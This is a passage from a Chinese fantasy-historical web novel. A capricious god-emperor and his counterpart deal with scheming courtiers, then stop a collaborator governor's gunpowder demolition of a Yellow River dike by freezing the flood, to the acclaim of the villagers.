大家已经默认不会指责谢吾德了。 谢吾德太强了,所以当谢吾德做了什么离谱的事情之后,大家的第一反应是去谴责那个受害者。 众人的表情麻木,反而看向亚夏的脸,眼神有一些幽怨。 亚夏不明白这群家伙为什么用一种仿佛负心汉的眼神在看着他。 只能说他模拟创造的人类实在是太“人类”了,知道亚夏比谢吾德善良,所以谢吾德的坏事成了亚夏的锅了。 好像是亚夏配合谢吾德干了坏事一样。 真是无语. 谢吾德说的就一定要做。 李真在认出谢吾德之后,坚决地执行着谢吾德的命令。 朝中的人都看着他离开,没有人上前阻止李真。 谢吾德管得很宽,但是谁都拿他没办法 难不成还能学李嗣喜那样直接去刺杀谢吾德吗? 他们还没活够,不想就这样丢人的死了。 亚夏和谢吾德的态度都很统一。 在消息传到那些从萧国回来的人耳中,很多人都落下了泪来。 这些刚从萧国回来的人对谢吾德的凶残没有太大的体会,但是首先感受到的是谢吾德的“仁德”。 在其他人眼里,“谢吾德”这个名字就像是一个绝妙的嘲讽一样,但是在这些人眼里,谢吾德那是货真价实的、需要被好好感谢的仁德之君。 谢吾德,有德啊. 既然其他人都发现了谢吾德的问题,谢吾德也完全能够想到自己已经掉马了,所以他干脆就不装了,开始光明正大地点评了起来。 关于那些回来的人的事情,已经被谢吾德和亚夏一锤定音,谢吾德不想让他们吃白饭,就让他们自己找点事做,反正他们是不可能被白嫖的,剩下的就是萧国的事情。 原本荣国对萧国的态度十分消极,但是事到如今,任谁都不会觉得荣国无法击败萧国了。 现在萧国和荣国的地位转换。 以前是萧国看荣国像是一块肥肉,但是现在是荣国看萧国像是一块肥肉了。 既然有利可图,那么就有大把的人想要以此从这件事情上谋取利益。 他们干的第一件事情,就是试图把邱腾换下来。 “陛下,邱将军久居边境,现在大局已定,也是时候该让他回来享享福了。”有人开口对亚夏说道。 亚夏的感觉有点微妙。 他是个保守派没错。 又有人对谢吾德说:“陛下不如御驾亲征,亲自洗刷掉萧国带给我们的耻辱。” 这次轮到谢吾德的表情微妙了。 他是个激进派没错。 亚夏和谢吾德都没有说话,他们只是交换了一个眼神——他们是不是以为我们是傻子? 这次他们倒是懂得对症下药了。 可是此刻他们的目的实在是过分明显了,明显到谢吾德都不能装看不见了。 这群家伙的目的只有一个:陛下,快点把邱腾给换下来吧,我们已经迫不及待地想要上位了。 第103章 天下熙熙,皆为利来;天下攘攘,皆为利往。 在朝廷这种纯粹的利益场中,正义从来不是大家考虑的首要内容。 就算是忠心耿耿的模范臣子,他们为了能够获得更多改变世界的机会,他们也会把正义稍稍向后方挪去。 指望他们伸张正义,那还不如看看母猪什么时候上树。 无论是把邱腾召回来,还是让谢吾德亲自去进攻萧国,他们都会优先把邱腾的人排除在外。 就算谢吾德还是打算用邱腾的原装人马,但是这群人有一百种方式往里面掺沙子,把整个环境搞得乌烟瘴气的。 如果说这群人聪明吧,那也算得上是手腕高超,实际操作起来,以他们的心眼子能把谢吾德玩的团团转。 当然前提是谢吾德不用他那仿佛作弊一般的能力。 但是要说他们蠢吧,他们也应该知道谢吾德不喜欢这样的小手段,而且他是会靠着直觉去判定一件事的。 这群人怎么就学不乖呢? 虽然知道在利益面前,许多人都会像是被蒙蔽了双眼一样,可是就他们的表现来看,流浪猫都比他们要记吃也记打。 流浪猫也比他们可爱,喂几次基本都知道绕着腿喵喵叫了。 亚夏不说话,谢吾德就当机立断地说道:“省省吧你们,也不看看自己几斤几两。” 亚夏觉得谢吾德说话很难听,而且太过于直接了,不是很委婉。 但是谢吾德说的也的确就是他想说的。 打架不积极,现在要收场了,一个比一个来劲。 他们两个唯一郁闷的就是这群人好像真的是有点小瞧他们了。 唉,都是因为谢吾德平时表现得太浮夸了,以至于别人对他的印象基本上只剩下脑子有病的浮夸怪了。 亚夏和谢吾德一致同意不去理会这些家伙。 邱腾是少数几个有着“设定”的人,他的设定就是忠诚的将军,从他成长的环境到基因的配装都注定了他真的非常值得信任。 这样的人可远比那些朝堂上的官员要可信得多。 谢吾德不担心自己让邱腾做他不爱做的事情会让邱腾背叛他。 像邱腾这种人,就算皇帝做得再过分,他之后也只会原谅皇帝。 李真在忠诚上都没办法和邱腾比。 李真服从的是强大到让人无法反抗的皇帝。 邱腾服从的就是单纯的皇帝,不需要任何前缀的。 可也正是如此,邱腾才算是谢吾德目前好感度最高的臣子之一。 邱腾高低也算是皇帝的狂信徒了。 别看邱腾能够对皇帝有着理智的判断,但是他的行为几乎永远只有向皇帝尽忠。 有时候也不能看别人是怎么想的,还得看他是怎么做的. 亚夏和谢吾德没把这些家伙当回事,但是该做的还是要做的。他们决定派遣一些人,让他们在遇到萧国薄弱的地方便发动进攻,顺势收复一些土地。 余文彦在朝会之后却喊住了亚夏和谢吾德。 他看看亚夏,又看看谢吾德,不知道该用怎么称呼他们。 谢吾德应该能够猜出来大家都清楚他是谁了,可是皇帝既然想要装,而他们不配合皇帝,那也有点不给面子的嫌疑。 于是他干脆冲着亚夏和谢吾德中间行了一礼,说道: “陛下,虽然那些人似乎被陛下恐吓住了,但是臣还是希望陛下能够稍微提高警惕。那些人可能并没有放弃他们的想法。财帛动人心,有着功绩在前,他们很有可能会擅自行动,做出一些难以挽回的事情。” “他们有这个胆子?”谢吾德用手玩着自己的头发。 不过他却并没有怎么当回事。 不过他刚这么想,他的腰部就被亚夏捅了两下。 亚夏在提醒他,小心阴沟里翻船。 人类十分擅长搞出幺蛾子。 谢吾德想到了亚夏之前种种翻车经历,还是听他的。 “你有没有什么办法?”谢吾德问道。 “还请陛下令锦衣卫加强对边境的巡视,以防有人想要借机生事,或是自作主张做出一些无法挽回的事情。”余文彦不太希望李真的势力扩张,但是李真和他手下的锦衣卫是目前除了邱腾之外最忠诚于谢吾德的那一批人了。 不知道为什么,余文彦总觉得自己有一些不太好的预感。 其实要余文彦说的话,最好还是谢吾德去那些边境的地方看一看。 甚至边境的地方都不足够,那些曾经属于荣国、后来被萧国所夺的土地,也应该是需要被他们关注的。 可是谢吾德是皇帝,如果谢吾德自己提议他自己去做的话还好,可是谢吾德自己没提,他怎么可能有资格去指使皇帝呢? 余文彦心事重重地走了,谢吾德回头看着皱眉思考的亚夏。 谢吾德看了看亚夏说道:“别那么紧张,你是不是有点太代入了?这不过是一个游戏而已。” 亚夏甩了甩自己的脑袋,叹了一口气:“倒是你,半点感情都没有才是最奇怪的。” 亚夏是一个尊重专家经验的人,他经常围观谢吾德的日常,所以他清楚余文彦的能力。 刨除掉他人品上的一些瑕疵,余文彦的绝大多数能力都是很优秀的。 如果他觉得哪里不妙,那最好要相信这种专业管理人员的直觉。 谢吾德把手揣进袖子里,无聊地甩了甩。 他无所谓。 如果有人死了,他也不觉得是自己不好。 他看着天上正在向北飞的候鸟。 春天基本上要到了,正是一个好季节,万物都生机勃勃的。 春光正好。 挺好。 等到谢吾德再次听到萧国相关的事情的时候,是来自于他手中所掌握的警报系统。 谢吾德设置这个是为了方便吃瓜。 谢吾德那会本来在睡觉,他晚上睡得晚,所以白天基本上都在睡。 可是刺耳的警报让他猛地翻身坐了起来。 他瞪大眼睛,猛地翻身,感觉心脏都难受,他忍不住喃喃道:“怎么个情况?难道有人造我的反了?” 这么刺耳的警报他也是第一次听 【你真是对自己有着充分的了解。】亚夏也听到了警报。 他是来看看谢吾德有没有造成什么人道主义灾难的。 “开玩笑,没人造我反才太让人失望了吧。”谢吾德嘟囔着打开了警报。 在谢吾德打开那条消息的时候,他们都镇住了。 谢吾德揉了揉自己的眼睛,有点不可思议地呢喃道:“什么叫……有人掘了黄河堤坝?”. 有人正在掘黄河堤坝。 在荣国境内有人想要进步,萧国境内就有人想要进步。 只可惜有的人因为一些因素是不可能在荣国或者萧国成功地进步,因为他们已经向对面投出了投名状,让对面的人深深地恨上这些家伙。 他们以此为代价,换来其他人对他们的重用。 而在这种风雨飘摇的时候,一些向萧国投了坚定的投名状的人便坐立难安。 他们没有背叛萧国的资格了,所以为了击败荣国,有人什么都愿意干的。而其中一个人想出来的办法,就是把黄河给掘了。 之前谢吾德决定通过那种简陋的方式让人一点点收回土地。 萧国的大乱导致萧国对下层的管理逐渐减弱,虽然在靠近萧国都城的时候抵抗会增加,但是对于萧国来说并不怎么重要的地方,萧国人直接选择放弃,将更多的兵力集中在萧国附近。 他们就这么一路收收收,逐渐收到了河南的境内。 那些曾经向萧国投了投名状的人,在知道这件事情之后就立刻坐立难安。 不能让荣国的大军重新回来。 如果他们回来的话,那他们有一个算一个都得死 在死亡的威胁下,他们也不管别的东西了。 他们径直做了一个决定,一个能够让绝大多数知道这件事情严重性的正常人类都感到呼吸困难的决定。 这让人怀疑他们人籍的的核心其实也只有一个——掘了黄河。 只要黄河泛滥,就能把荣国的军队阻挡在外。 别说这会给萧国增加麻烦,现在荣国来势汹汹,先把人挡在外面再说。 谢吾德看到这句话的时候,真的是震惊了。 这又是谁家的部将,能够提出如此建议? 谢吾德比一般人更熟悉历史,他知道在现实的历史中,掘了黄河来阻止对方进攻的事情不是第一次发生。 但是理论归理论,现实归现实。 知道理论上会发生什么事情并不代表就觉得现实会发生。 谢吾德薅了几根自己的头发。 对方这么做并不让他觉得麻烦,但是他就是想不通。 谢吾德有时候作死是因为他真的不会死,就算有人想要伤害他,也破不了他的防。 但是眼下做出这个决定的人是一个纯粹的人类,是一个会被折磨会被杀死的人。 是谁给他的勇气让他做这种事情? 他也没看视频复活的机会啊。 明明都是一个头,加上一个躯干,再加上四肢,怎么有的人组成是一个人,有的人却是类人生物? 他原本以为大宋正统在大荣的,结果大宋正统在萧国吗? 此刻谢吾德对于这些事情唯一的评价就是:离谱。 这种纯粹的恶是谢吾德想破脑袋都想不出来的。 他以前以为自己很坏了,但是在他们面前他就跟一个新兵蛋子一样。 如果在有些人眼中谢吾德是一个仿佛撒旦一般的人物,那现在谢吾德可以相当坚定地说一句:撒旦我啊,是你的忠实粉丝呢。 【你真的没有在这个世界搞出什么人外生物吗?】谢吾德诚心实意地发问。 亚夏也有点怀疑自己,他的眼角抽搐:【难说。】 第104章 谢吾德作为一个邪神,剥夺性命这件事情对他来说算不得什么,就算是一群人死在他的面前他都不会眨一下眼睛。 区区死亡而已。 不过就算他对鲜血有着本能的喜好,但是如果没有特殊的原因,他也不会特意去制造血腥场面。 谢吾德会无缘无故地犯贱,但是不管怎么说,他的本体是亚夏,他在亚夏的基础上产生再多的变异,但是三观底子在那,再怎么扭曲,他的想象力和见识也都在那了。 对血腥的喜好来源于他那些最初的信徒,他们认为鲜血是取悦他的最好方法。 他们一厢情愿地认为神明会被这些鲜血取悦,于是被他们意志扭曲的神明真就被取悦到了。 谢吾德往往只是顺势而为,在条件都恰到好处的时候觉得自己如果不做点什么的话太可惜了。 但是他万万没有像那些小机灵鬼一样,动动手就是对几十万甚至几百万生命的收割。 他活这么久,正经收到的祭品都没有这么多。 就这种程度也被亚夏骂得狗血淋头。 而且他的信徒向他祈祷、献上祭品也是为了从他那里获得力量,毕竟一切法术都来源于谢吾德,这是他们作为信徒给予神明的“报酬”——虽然无论是谢吾德还是他的信徒都不认为这可以被称为报酬。 在他的那群疯狂的信徒获得了统治权之后,他们也得好好地培养一些人充作生产力,而不是大杀特杀。 哪有这么搞的? 每当谢吾德觉得自己已经坏到没边的时候,这个世界的人总是能够给他一点惊喜,让他这个其实是长在现代社会的邪神好好地感受一下什么叫封建主义的铁拳。 想一想其实也的确是这个道理。 不管谢吾德再怎么把自己看作成坏人,觉得自己现在的自己天生邪恶,但是谢吾德的日常目的就是吃喝玩乐。 在玩的时候他从来都不考虑折腾点血腥暴力的东西。 谢吾德每天想的就是一会吃什么。 但是谢吾德觉得自己有理由怀疑那些人在吃喝玩乐的同时,脑子里琢磨着的是怎么提高自己的K D,怎么让自己变成大恐怖? 谢吾德想破头都想不出来,不过他很能想得开,于是他把这个情报给了余文彦看了。 余文彦反复看了几遍,就好像第一次认识字一样。他左看看右看看,看到谢吾德都怀疑是不是余文彦嫌弃他字写得丑。 但是显然,就算给余文彦一百个胆子他也不敢作出这样的评价,更何况谢吾德写的字并不算丑。 他只是不停地念叨:“不中不中,这太不中了!” 谢吾德瞅瞅他,忍不住说:“原来你是河南人呢。” 余文彦懒得评价谢吾德这脱线的问题,而且也别管他是哪的人了,但凡是个人都很难绷得住吧。 “陛下……陛下,他们怎么敢……我们现在还来得及去阻止吗?”余文彦也有点绝望地看着谢吾德。 人总是会妥协的。 以前余文彦觉得谢吾德只能算是粗通人性,但是在见识到了人类的下限之后,余文彦越发地觉得谢吾德堪称明君圣主。如果说让去年的他来看看今年的自己的话,去年的他恐怕会觉得他被谢吾德折磨疯了。 可是天可怜见,他分明是被谢吾德之外的人给折腾疯了。 “还能来得及。不都说了他们正在掘吗?‘正在’,就是还没有结束的意思。”谢吾德批评了一番余文彦的语文水平。他还是很稳的,“想要掘黄河堤坝不是一件容易的事情,而且这一件事情只派了一支萧国的军队进行,他们的进度并不快。” 余文彦可不在乎进度快不快的问题,而是这群人居然敢这么做,只要听到有这么个计划都会让人觉得十分不安。 他看着谢吾德平静的脸,心中有了一点不太好的预感。 邱腾目前也是缓慢地向北方靠近,只不过他目前的位置在更西侧。 余文彦有点担心谢吾德忽然发昏,因为邱腾不会在这次的事件中牺牲,就不去管其他的人了。 谢吾德不知道在余文彦眼中,他的底线居然如此地深不可测。但凡他知道余文彦现在想的事情,他都要说一句“大不敬”,然后敲爆他的脑壳。 “一会带着一些人和我一起去看看。”谢吾德说道。 “一会?他们现在不已经开始开挖了吗?”余文彦有一点焦急,“陛下,不如我们现在就动身吧。” 谢吾德看上去并不打算立刻行动,而是决定先吃点东西。 这可真是皇帝不急太监急。 余文彦急得团团转,他绕着谢吾德转,就像是边牧绕着羊转一样。 “你急什么?只要在他们挖塌之前到达就行。而且他们就算想挖,那也最好等着我们的人靠近了一点,这样才能够淹死更多的人嘛、”谢吾德不慌不忙。 他不知道从哪里掏出了一碗面条,拿着筷子已经开始吃了起来。 别人刚睡醒会没有胃口,但是谢吾德一直有胃口。 绝大多数人觉得洪水是无法抵抗的天灾,来势凶猛莫可抵挡,人们只有提前几年去防范还不一定能防得住。 可是对谢吾德来说,洪水再大,那也只不过是地球上发生的事情,以宇宙的尺度根本算不上什么。 这个世界的维度太低,整个世界也只有地球是真实的,谢吾德能够提取到的力量有限,但是就算是这点力量也足够让他撕裂整片大地。 洪水在他面前只是个萝莉。 皇帝不急,但是有的是人急。 “陛下,您怎可如此呢?”余文彦觉得自己这次说这话是发自内心的。 谢吾德叼着面条说:“你急什么?急也急不来。我不出手,你们还能够阻止吗?” 战五渣不自量力。 就算把余文彦献祭给黄河都没用,黄河又不听他的。 余文彦说:“陛下为何不去阻止呢?即使那些百姓现在在萧国,那也是陛下您的子民。” “不不不,问题不是这个,”谢吾德摇着头,“我是说,我现在去拯救的话,对我有什么好处?” “……啊?”余文彦猛地回头,他的第一反应是谢吾德又犯病了,想要从哪些百姓身上捞一笔。 谢吾德不缺钱,但是他脑子有病。 “当然是要在危机发生的时候再出手呢。就和卖股票一样,当然是在高点卖出才最爽。”谢吾德托着脸颊一边吃一边说,“再不济你看看哪些神话,那些神都是要在灾难爆发出来再出手的。” 谢吾德单手托着腮。 大殿虽然努力地想要保证采光,可是在白天,在皇帝落座的地方却依然显得有几分昏暗。 谢吾德的大半张脸埋藏在阴影之中,他吃东西的时候脸颊圆圆的,看上去很孩子气,还很可爱,但是余文彦的身体却一点点冷下来了,谢吾德那双蓝色的眼睛里什么都没有。 谢吾德有时候让人觉得他就像是一只猫一样可爱。 可是邪神就是邪神,暴君就是暴君。 只要不愿意无脑服从他,那这可爱的皮囊之下其实是一个早已扭曲的非人怪物. 黄河大概是这个国家最危险的地方之一了。 它是这个国家文明的源头,同时也给这个国家带来了最大的灾难。 驯服这条河甚至是贯穿了整个封建王朝的全部内容。 不过这些繁重的任务往往是那些身居高位的人所需要考虑的,对于普通的百姓来说,他们只要知道远处的那条河能够给他们带来危险就行。 至于怎么做,那就是他们无力去控制的了。 只有朝廷才有能力去控制这些。 他们这片土地现在被萧国所掌控,对于平民百姓来说,遭受最大苦难的人大多已经死去了,而且日子已经平稳下来了,那就埋头种地吧。 虽然他们偶尔也会愤怒,可是那又能怎么样呢?让他们去打萧国吗? 当时荣国在的时候都没能够打得过萧国,甚至还征调了许多青壮年去充军,这样都没有击退萧国,那就更不要指望他们这些平民百姓能够拼了命地去反抗。 萧国人手里可拿着刀、持着剑,就连普通的差役也能够轻轻松松地剥夺掉一整户人的性命。 他们反抗不一定能够报仇,但是一定能把他们自己的小命也丢进去。 日子就这么一天天地过了下去。 日子不怎么舒服,但是能活着。 这个年代的普通人基本也就求这个了。 这附近最近上任了一个新太守。 大家对于这件事情最大的感触就是这个太守有一点倒霉。 这附近可算是好地方,非常适合种地,只要风调雨顺,每年都能收上来不少粮食,因为粮食多,所以人口也不少。 但是这是和平的时候。 在战乱年代的时候,一个适合种地的大平原的缺点就暴露了,这里没有多少险要了,一眼望过去仿佛能看到天尽头一样,是很难守得住的。 现在萧国处于颓势,这个太守也不知道打点了多少,现在看来这钱都是要打水漂的。 荣国可不会认萧国任命的太守,这种好地方自然要把自己人放上去。 不过大家也只是感慨一句,大家都只是混口饭吃的普通人,哪有同情太守的资格? 荣国就算回来了也和他们普通人无关。 只希望能够赶紧地恢复秩序,别耽误他们春种了。 日子还得过的。 然而就在中午,他们准备回去找个阴凉地歇息的时候,有人骑着快马从南方赶来:“快跑!开封太守要掘开大河堤坝!要淹死所有人!” ……卧槽? 第105章 那个人已经喊得破了音,嗓子沙哑得像是用铁器刮着坚硬的石头一样,让人觉得十分不适。 如果说村里的年轻人还会有一些迷茫的话,那些老年人就瞬间大惊失色。 他们有生之年不一定见过黄河泛滥,但是却比年轻人更有可能听说过这件事情的危险性。 来的人没有详细解释什么,他们直直地向着下一处纵马而去。 有人想要拉住他细问都来不及. “发生了什么事情?”开封府的太守隐约好像听到了什么动静。 “不清楚。”他的下属摇头。 “算了。”开封府太守没指望自己的下属能去把事情搞清楚,能够参与到这次事件中的都是他的心腹,这些人知道要发生什么,所以肯定不会想要亲自去看看发生什么事。 “你们知道荣国那边的人什么时候能到吗?”开封府的太守看着下面的东西——这都是来自于荣国的火药。 “大概还得一两个时辰吧。” 只要有战争和摩擦,那么就很容易发生技术转移。 邱腾很清楚这个火药的杀伤力和保密的重要性,但是当其他将军和他要这些武器的时候,他也需要给一些,毕竟大家都是朝廷的人,总不能藏着掖着,这样不仅容易让自己一家独大,还容易引起朝中的争议。 邱腾也觉得有好东西那就需要分发下去,让每个人都能够用得上,这样也能够减少伤亡,让战事更加顺利。 邱腾给的那些将军大多都是人品广受好评、值得被信赖的人,但是在东西给出去之后,很多事情就不是他和其他将军之间的事情了。 不是所有将军都有邱腾那般严格的治下觉悟。 他们相当坚定地想要将萧国打击下去,可是他们下面的人不一定像他们那般坚定,而那些人往往会因为自己下属曾经做过的贡献在处罚的时候于心不忍。 这就给了萧国获得这些东西的机会。 不过好在,他们也只能得到一些成品,想要得到配方自己做还需要一段时间。 现在萧国最缺的就是时间了。 太守没有派下属去看看发生了什么事情,但是随着时间的推移,声势变得浩大了起来,他们并不需要离得太远就能够搞清楚什么事情了。 有下属小心地溜出去,然后飞快地跑了回来:“太守不好了,外面的人不知道怎么知道了那件事情。” 下属还是很谨慎的,他没有说具体是什么事情,但是到底是什么事情他们都心知肚明。 太守大惊:“他们怎么知道的?” 这件事情他虽然和萧国那边通了气,萧国那边的人都是派的极其可靠的人来。 大家都知道这是一件风险很高的事情,只要被百姓知道,那他们绝对不会善罢甘休的。 太守看了一眼自己的这些下属,这些下属一个个都满头大汗。 是谁走漏了风声? 太守也清楚,以自己这样的人能够招揽到的都不是什么好货色,他们说不定就是哪天醉酒之后忍不住,一不小心说出了实话。 但是现在不是和他们计较这些事情的时候。 “赶紧把东西放下去,我们就走。” 他们之前已经在上面布了一条小船,然而他们撤得还是慢了一点,百姓们冲破防线,蜂拥而上。 百姓们的慌乱已经完全变成了愤怒。 原本作为普通人,他们的第一反应就是跑,反抗死亡的概率也比跑死亡的概率要高。 虽然完全不反抗那就只能等死,但说不定有其他人会去反抗呢。 反抗永远不是他们的最优解。 可是就在他们准备跑的时候,他们想到了另外一个问题:这附近也没有高地,一旦黄河决堤,他们都得死。 跑是跑不掉的,人的两条腿怎么能比得过滔滔洪水呢? 既然跑不掉,那这些平时表现得十分温顺的百姓,便露出了他们恐怖的一面。 兵法说,围三缺一。 不能把人逼到极限。 就算想要把所有人都杀了,也要给人自己能活下来的错觉。 现在没有人会有这样不切实际的错觉了。 人可以在任何地方都感到愚钝,但是作为一种生物,他们有求生的本能,他们在赶来的途中就感觉到了反常,这让他们更加相信这件事情的可靠性。 太守真的要杀了他们。 亏他们之前还有点同情这个太守,这分明就是一个有着虎狼蛇蝎心肠的人。 他们拿着自己手上的农具,没有农具的就拿着石头。他们以气势汹汹地向堤坝的方向涌去。 百姓的愤怒是什么样的? 对于一个人、一个生活在人类社会、一个需要依靠他人的力量来运行自己的权力的人来说,这种愤怒一点都不比黄河泛滥来得要温柔。 开封府的太守没有什么羞耻心,也没有什么同理心,他看着这些百姓就如同羔羊一样温顺的不知反抗,就算看着同类死亡也只是呆呆傻傻的待在羊圈里,愚蠢到令人发指的地步。 这群家伙是人,但是却仿佛是另外一个物种一样。 只要略施小计就能够让他们被分化,稍微给一点小恩小惠就能让他们互相之间打得头破血流。 甚至可以说,想要让所有百姓一起反抗完全不是一件简单的事情。 他们总有着自己的心思,但凡有人愿意对他们其中的一些人进行分化拉拢,很多人也会被拉拢过去,没有被拉拢的也会心怀侥幸,觉得说不定他们会是那个特殊的。 可是现在,已经没有被麻痹的机会了,有一些富农和平时吝啬的地主也拿出自己的东西来。 有些地主平时在家乡作威作福、无恶不作,他们总是自诩高人一等,但是在面对如此情况的时候,他们也只不过是一个被人无视的玩意。 没有人会通知他们提前跑掉,死了就死了,甚至这对更大的地主是一件好事,他们很愿意吞并他们的土地。 太守带来的人都是萧国的精锐,没有人是这附近本地的人,他们中大多都是萧国贵族的亲兵,自更北的北方而来。 他们对炸毁这里没有多少的心理压力,他们本就是蛮夷之辈,根本就没有多少道德上的负担。 在面对这群愤怒的人的时候,他们的第一反应是镇压,最好是一次性能把人的胆子吓破,警告他们不要乱来。 但是就算他们的武器再好,可以以一当十,也拦不住成百上千人的怒火。 人群混乱又无序。 在他们拥挤而来的时候,不知道造成了多少踩踏事件,有人甚至生生地被踩死。 这仿佛印证了太守之前的想法,这群人是盲目的,是愚笨的。 但是这种狂乱的混沌让整个人群就仿佛变成了一种不可名状的怪物一样,布料发出窸窸窣窣的声音,混乱的人群口中发出嘶哑的怒吼。 萧国虽然搞到了一部分火铳,但是他们毫无疑问还处在冷兵器的时代。 他们和这些普通人之间有着武器的代差,但是差的也没有那么大。 这些已经被愤怒冲昏头脑的百姓就仿佛没有恐惧一样,他们就算单纯地凭借数量的堆积也完全可以堆死他们。 这些普通人在整装的军队面前不管再怎么虚弱、再怎么无力,他们也决定在死前也决定给这些人一次狠狠的反击。 他们用石头或者用指甲在他们的身上刮出一道道血痕,如果是平时,这是微不足道的攻击,谁要是因为这种恐惧都是要被人嘲笑半天的,可是当一群人围过来,小伤一点点的积累,这不由得让人心中升起了一丝怀疑——自己是不是要被他们生生地撕开了? 这些卫兵固然有着一股凶悍之气,但是他们是打算活着的,而这群百姓是抱着必死的决心上的。 在看到他们中一个同僚不知道被谁打破了脑袋,整个人晕倒下去,又被无数条胳膊拖了下去,淹没在人堆之后,他们硬生生地打了一个寒战。 在被那群人拖下去之后会遇到什么? 他们看不清,只看到了人群的脚下隐隐地有鲜血流了出来,踩过这摊血液的人的脚踩在地上留下了一个个的血脚印。 他们面对的不是平日的百姓,他们已经疯了,是真正意义上的疯,而这种疯在群体的放大下变得极为恐怖。 “太守快跑吧!”开封府的太守看着匆忙跑来的下属,这已经是最忠心的一个了,他甚至还想要喊着自己的主子跑。 而其他不怎么忠心的人已经丢盔卸甲,试图抹掉自己作为萧国人的一切,然后好藏起来,躲过这群愤怒的人群。 太守被震动了。他忍不住骂了一句,然后跟身边的人说:“快快快,快跑,快去船上,我们赶紧过河。” 河的对面就是希望。 然而他还没有跑到堤坝,那群人几乎已经冲了过来了。 太守咬牙往前跑着,他只感觉自己的双腿十分沉重,大地在此刻展现出了无比的吸引力。 他根本就跑不动,他看了看堤坝上方,又看了看身后百姓,他默默地计算了一下距离和速度,终于意识到了一件事——他跑不出去了。 他心中一股无名火起:这群人怎么敢呢? 让他们去死,他们就去死呗,为什么要反抗呢? 一群人每天只知道种地,除了这些什么都不会,也不知道做出了什么贡献,现在居然还胆大包天到想要对朝廷命官动手。 他不再试图向上跑去,而是冲着那些埋藏的火药的地方冲去。 要死,那就一起死吧。 第106章 他点燃了火折子,用火折子点燃了一点火焰,然后放到了这堆火药的上面。 巨大的爆炸声响起。 原本愤怒的人群心口一紧,巨大的声音勾起了所有人本能的不安,他们纷纷停下脚步,他们目瞪口呆地看着石头崩裂,巨大的缺口出现了,然后顺着这个缺口,边上也出现了一条条裂缝。 轰隆隆的,不知道是黄河在咆哮,还是堤坝在被炸毁的时候发出的悲鸣。 太守已经死了,因为他离火药离得最近,所以他是第一个被炸死的。 那些想要跑到船上的太守的下属是第二波死的。 他们没有成功过河,所以他们是除了太守之外最先受到波及的。 第三波死的,那就是这些闻讯而来想要杀死太守的百姓。 现在正是春汛的时候,在黄河“几”字口北端的地方的雪水已经化冻了,黄河河水的量迎来了一波小高峰。 而在地面百姓所能看到的,大概只有仿佛冲天的河水。 人类这种生物在大自然面前还是太渺小了。 没人知道这些在自然界面前真就如同蝼蚁一样渺小的人类此刻是失声还是在尖叫,此刻所有人耳边充斥的只有大自然狂怒的声音。 这覆盖了人类所制造的一切嘈杂的声音。 然而这狂怒的声音也只持续了一会。 百姓又缓缓地抬起头,他们发现那冲天的巨浪凝固在了空中,时间仿佛暂停了下来。 一个人坐在浪头上,而他身后的是一个腿软到仿佛已经跪下的男人。 谢吾德扭头看着余文彦说道:“都说了,你急也没用。只要我出面,没有什么我解决不了的。” 余文彦瘫软在地,他感觉自己此刻好像没骨头一样,他的大脑里嗡嗡地响着,到最后他只有四个字想说出口:额滴娘嘞。 还有四个字他得咽下去:尿裤子了。 谢吾德不知道余文彦被眼前的这一幕吓尿了。 即使是讲究泰山崩于前而色不变的人,在突然出现在这狂暴的黄河面前都只会觉得自己的括约肌一松。 幸亏余文彦的身上还沾着黄河水,谢吾德又不会特意地去透视一下别人的衣服看看对方尿没尿,再加上这里的水汽充足,谢吾德也闻不到有什么奇怪的味道,所以余文彦算是逃过一劫。 要是谢吾德知道余文彦尿了裤子,他一定会嫌弃地把余文彦丢到一边,再也不重用了。 下面一片寂静,在寂静过后便是百姓们欢呼雀跃的声音。 他们看不清谢吾德,也不知道谢吾德是谁,但是他们知道毫无疑问的是谢吾德拯救了他们。 于是他们便对谢吾德顶礼膜拜。 那些之前在附近城中喊着让其他人快跑的人在看到谢吾德的时候也都松了一口气。 他们都是附近的荣国大军派来的人,他们在余文彦反复地对谢吾德的央求下,谢吾德给他们发了通知,所以他们在听到消息之后匆匆忙忙地赶来通知这些人。虽然以现在来看,他们好像并没有帮上忙,但是什么都不做才是最让人煎熬的。 他们中很多人其实都是本地人,只不过因为灾祸所以暂时离开。 他们也希望自己有一天能够回到自己的家乡。 他们可不希望在自己回到家乡之后,自己的家乡变得生灵涂炭。 就算没良心,那也得考虑这大河一过,这地还能不能种了。 他们中绝大多数人都没见过谢吾德,但是在看到这神奇的一幕之后,他们就知道出现在那里的人是谁了。 他们的皇帝有着神奇的力量,甚至都超过了他们想象的极限。 荣朝整体来说是相比较重文抑武的,他们这些在军队里混久的兵油子,基本已经丧失了对皇帝的崇拜和信任,可是此刻他们却纷纷下马无比真心实意地高呼“吾皇万岁”。 谢吾德也不是第一次听到这样的声音。 在登基的时候,在上朝的时候,他都听到过。 可是那些大臣一个个都是比较矜持的。 这群人很讲究,讲究从容镇静,声音往往会拉得比较长,就好像即使是皇帝,也无法完全逼迫他们放下他们的尊严。 但是这些最低底层的普通人刚刚受了谢吾德的恩泽,他们完全控制不住自己对谢吾德的感激,所以他们的表达就直接了许多。 他们欢呼雀跃着,他们扯着嗓子高喊。 声音一开始只是从那些从荣国来的士兵附近响起,后来随着一声声如同接力一般的呼喊,所有的人都开始喊起了“陛下万岁”。 大家都知道了,救下他们的不是什么神仙,是他们的皇帝——或许这才是真神仙。 他们的新皇帝是一个能够在真正的天威之下保住他们的皇帝。 这才是他们想要的皇帝,这个皇帝满足了他们对皇帝这个身份的一切想象。 皇帝是什么? 是天子,是上天的宠儿,是能够号令众生的伟大存在。 其他的皇帝只是通过语言、文字和其他人的愚昧来哄骗众人,然而百姓们没见过真正的力量,他们自然很轻易地就相信了。 但是谢吾德实打实地拥有这样的力量。 余文彦看着谢吾德脸上的笑容,忽然他稍微有那么一点颤抖。 此刻众人对谢吾德所展现出来的狂热,是历代皇帝无法比拟的。 虽然以前就没有人敢跟谢吾德说要效仿先祖的德行这种话,但是恐怕,时代变了。 如果说百姓以前听到谢吾德做的出格的事情还会说一句,陛下这件事情做的的确有那么一点过分。 之前只有一点,现在是一点都没了。 他都是皇帝了,他说什么话都是对的。 世家怎么有资格匡扶社稷? 别说是黄河的主干了,就算是支流他们治得好吗? 谢吾德别说是对过去的那些皇帝表示轻蔑,就算是真骑在他们的头上,百姓恐怕也更倾向于让那些人忍一忍。 在浪花上坐着适合装逼,但是在尘埃落定之后还要在这里坐着,那就显得有点傻了。 余文彦得趁着这个机会去换一件衣服,于是他对谢吾德说到:“臣失礼,需要去更衣。” 谢吾德点了点头,想到学文言文的知识点,说道:“不就是上厕所吗?去吧去吧,多大的人了,还需要和我说,我又不是你老师。” 